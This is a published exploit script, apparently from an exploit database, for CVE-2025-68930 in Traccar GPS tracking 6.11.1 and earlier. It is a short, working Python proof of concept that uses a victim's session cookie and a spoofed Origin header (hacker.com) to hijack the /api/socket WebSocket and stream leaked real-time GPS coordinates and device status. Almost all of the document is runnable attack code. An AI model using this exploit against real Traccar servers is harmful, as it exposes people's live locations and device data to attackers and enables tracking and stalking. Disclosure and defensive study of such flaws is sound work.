# Exploit Title: Traccar GPS Tracking System 6.11.1 - Cross-Site WebSocket Hijacking (CSWSH)
# Date: 2026-02-26
# Exploit Author: Hazar Taspinar
# Vendor Homepage: https://www.traccar.org/
# Software Link: https://github.com/traccar/traccar
# Version: <= 6.11.1
# Tested on: Windows 11 / Linux
# CVE: CVE-2025-68930
"""
Description:
Traccar fails to validate the 'Origin' header in WebSocket connections (/api/socket).
An attacker can bypass the Same Origin Policy (SOP) by supplying a malicious Origin header
along with a victim's valid JSESSIONID. This allows the attacker to hijack the
WebSocket connection and leak real-time sensitive data, including GPS coordinates
and device status.
Requirements:
pip install websocket-client
"""
import websocket
import argparse
import sys
def on_message(ws, message):
print(f"[+] DATA LEAKED: {message}")
def on_error(ws, error):
print(f"[-] Error: {error}")
def on_close(ws, close_status_code, close_msg):
print("[-] Connection closed.")
def on_open(ws):
print("[*] WebSocket Handshake Successful!")
print("[*] Connection upgraded. Streaming real-time sensitive data...\n")
def main():
parser = argparse.ArgumentParser(description="Traccar CSWSH Exploit - Information Disclosure")
parser.add_argument("--target", required=True, help="Target IP address (e.g., 192.168.1.5)")
parser.add_argument("--port", default="8082", help="Target Port (default: 8082)")
parser.add_argument("--cookie", required=True, help="Valid JSESSIONID (e.g., node0xxxxxxx)")
args = parser.parse_args()
# Construct the WebSocket URL
url = f"ws://{args.target}:{args.port}/api/socket"
# Malicious headers triggering the bypass
# The 'Origin' header is set to an external domain to demonstrate lack of validation.
headers = [
"Origin: http://hacker.com",
f"Cookie: JSESSIONID={args.cookie}"
]
print(f"""
================================================
TRACCAR GPS TRACKER - CSWSH EXPLOIT
Exploit Author: Hazar Taspinar
CVE: CVE-2025-68930
Target: {url}
================================================
""")
# Initiate WebSocket connection
ws = websocket.WebSocketApp(url,
on_message=on_message,
on_error=on_error,
on_close=on_close,
on_open=on_open,
header=headers)
try:
ws.run_forever()
except KeyboardInterrupt:
print("\n[*] Exploit stopped by user.")
sys.exit(0)
if __name__ == "__main__":
main()